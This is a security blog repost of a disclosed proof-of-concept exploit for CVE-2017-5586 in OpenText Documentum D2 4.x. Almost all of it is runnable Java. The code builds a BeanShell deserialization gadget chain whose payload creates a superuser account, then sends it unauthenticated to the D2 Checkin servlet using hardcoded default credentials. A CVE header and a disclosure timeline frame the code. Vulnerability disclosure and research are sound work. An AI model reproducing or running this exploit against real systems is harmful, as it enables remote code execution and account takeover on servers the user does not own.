Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863552151

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/**
CVE Identifier: CVE-2017-5586
Vendor: OpenText
Affected products: Documentum D2 version 4.x
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Description: Document D2 contains vulnerable BeanShell (bsh) and Apache Commons libraries and accepts serialised data from untrusted sources, which leads to remote code execution

Proof of concept:

===================================8<===========================================
*/

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;

import bsh.Interpreter;
import bsh.XThis;

import com.documentum.fc.client.content.impl.ContentStoreResult;
import com.documentum.fc.client.impl.typeddata.TypedData;

/**
* @author Andrey B. Panfilov <andrey (at) panfilov (dot) tel [email concealed]>
*
* Code below creates superuser account in underlying Documentum repository
* usage: java DocumentumD2BeanShellPoc http://host:port/D2 <docbase_name> <user_name_to_create>
*
*/
@SuppressWarnings("unchecked")
public class DocumentumD2BeanShellPoc {

public static void main(String[] args) throws Exception {
String url = args[0];
String docbase = args[1];
String userName = args[2];
String payload = "compare(Object foo, Object bar) {new Interpreter()"
+ ".eval(\"try{com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()"
+ ".getSessionRegistry().getAllSessions().iterator().next();"
+ "session=com.emc.d2.api.D2Session.getAdminSession(session, false);"
+ "com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery("
+ "\\\"CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', "
+ "set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} "
+ "catch (Exception e) {}; return 0;\");}";
Interpreter interpreter = new Interpreter();
interpreter.eval(String.format(payload, userName, userName, userName));
XThis x = new XThis(interpreter.getNameSpace(), interpreter);
Comparator comparator = (Comparator) x.getInterface(new Class[] { Comparator.class, });
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] { 1, 1 };
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);

// actually we may send priorityQueue directly, but I want to hide
// deserialization stuff from stacktrace :)
Class cls = Class.forName("com.documentum.fc.client.impl.typeddata.ValueHolder");
Constructor ctor = cls.getConstructor();
ctor.setAccessible(true);

Object valueHolder = ctor.newInstance();
setFieldValue(valueHolder, "m_value", priorityQueue);
List valueHolders = new ArrayList();
valueHolders.add(valueHolder);

TypedData data = new TypedData();
setFieldValue(data, "m_valueHolders", valueHolders);

ContentStoreResult result = new ContentStoreResult();
setFieldValue(result, "m_attrs", data);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
for (Character c : "SAVED".toCharArray()) {
dos.write(c);
}
dos.write((byte) 124);
dos.flush();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(result);
oos.flush();
byte[] bytes = baos.toByteArray();
baos = new ByteArrayOutputStream();
dos = new DataOutputStream(baos);
dos.writeInt(bytes.length);
dos.write(bytes);
dos.flush();
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setRequestMethod("POST");
conn.setUseCaches(false);
conn.setDoOutput(true);
conn.getOutputStream().write(baos.toByteArray());
conn.connect();
System.out.println("Response code: " + conn.getResponseCode());
InputStream stream = conn.getInputStream();
byte[] buff = new byte[1024];
int count = 0;
while ((count = stream.read(buff)) != -1) {
System.out.write(buff, 0, count);
}
}

public static String makeUrl(String url) {
if (!url.endsWith("/")) {
url += "/";
}
return url + "servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd
&file_length=1000"
+ "&_username=dmc_wdk_preferences_owner&_password=webtop";
}

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

}

/**
===================================>8===========================================

Disclosure timeline:

2016.02.28: Vulnerability discovered
2017.01.25: CVE Identifier assigned
2017.02.01: Vendor contacted, no response
2017.02.15: Public disclosure
*/